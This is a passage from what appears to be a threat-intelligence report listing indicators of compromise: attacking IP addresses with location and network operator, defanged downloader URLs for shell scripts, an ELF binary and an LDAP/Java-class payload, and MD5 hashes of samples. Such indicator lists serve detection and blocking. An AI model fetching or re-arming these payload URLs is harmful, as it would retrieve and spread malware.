am\t200052|Feral.io_Ltd\n185.220.101.155\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.161\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.162\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.164\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.166\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.168\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.172\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.174\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.176\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.181\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.191\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.34\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.37\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.39\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.40\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.42\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.43\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.46\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.5\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.50\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.51\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.53\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.54\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.56\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.57\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.61\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.56.80.65\tNetherlands|South_Holland|Capelle_aan_den_IJssel\t43350|NForce_Entertainment_B.V.\n193.218.118.158\tUkraine|Kiev|Unknown\tNone;\n194.32.107.159\tRomania|Romania|Unknown\tNone;\n194.32.107.187\tRomania|Romania|Unknown\tNone;\n194.88.143.66\tItaly|Lombardy|Metropolitan_City_of_Milan\t49367|Seflow_S.N.C._Di_Marco_Brame'_&_C.\n199.195.250.77\tUnited_States|New_York|New_York_City\t53667|FranTech_Solutions\n23.129.64.216\tUnited_States|Washington|Seattle\t396507|Emerald_Onion\n23.154.177.4\tNorth_America_Regions|North_America_Regions|Unknown\tNone;\n45.13.104.179\tFrance|Ile-de-France|Paris\t57199|MilkyWan\n45.154.255.147\tSweden|Stockholm_County|Stockholm\t41281|KeFF_Networks_Ltd\n45.61.185.90\tUnited_States|United_States|Unknown\t8100|QuadraNet_Enterprises_LLC\n46.166.139.111\tNetherlands|South_Holland|Capelle_aan_den_IJssel\t43350|NForce_Entertainment_B.V.\n5.2.69.50\tNetherlands|Flevoland|Dronten\t60404|Liteserver_Holding_B.V.\n51.15.43.205\tNetherlands|North_Holland|Haarlem\t12876|Online_S.a.s.\n62.102.148.68\tSweden|Stockholm_County|Akersberga\t51815|IP-Only_Networks_AB\n62.102.148.69\tSweden|Stockholm_County|Akersberga\t51815|IP-Only_Networks_AB\n81.17.18.62\tSwitzerland|Canton_of_Ticino|Unknown\t51852|Private_Layer_INC\n```\n### Downloader\n```\nhxxp://179.60.150.23:8000/xExportObject.class\nldap://179.60.150.23:1389/o=tomcat\nhxxp://194.165.16.24:8229/b1t_1t.sh\nhxxp://194.165.16.24:8228/b1t\nhxxp://194.165.16.24:8228/b1t\nhxxp://194.165.16.24:8228/_run.sh\nhxxp://194.165.16.24:8228/run.sh\nhxxp://194.165.16.24:8228/share.sh\nhxxp://194.165.16.24:8228/b1t\nhxxp://194.165.16.24:8228/run.sh\nhxxp://194.165.16.24:8228/run.sh\nhxxp://194.165.16.24:8229/b4d4b1t.elf\n```\n### Sample MD5\n```\n027d74534a32ba27f225fff6ee7a755f\n0a0c43726fd256ad827f4108bdf5e772\n24c49e4c75c6662365e10bbaeaeecb04\n2e5724e968f91faaf156c48ec879bb40\n3192e913ed0138b2de32c5e95146a24a\n40024288c0d230c0b8ad86075bd7c678\n43fcb5f22a53a88e726ebef46095cd6b\n59690bd935184f2ce4b7de0a60e23f57\n5f77c32c37ae7d25e927d91eb3b61c87\n6b42a9f10db8b11a15006abced212fa4\n6c05637c29b347c28d05b937e670c81e\n7ef9d37e18b48de4b26e5d188a383ec8\n7f4e74e15fafaf3f8b79254558019d7f\n989dd7aa17244da78309d441d265613a\ndd4b6e2750f86f2630e3aea418d294c0\ne82135951c3d485b7133b9673194a79e\nfd84b2f06f90940cb920e20ad4a30a63\n\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 622886c4a5c41b00078fc62a |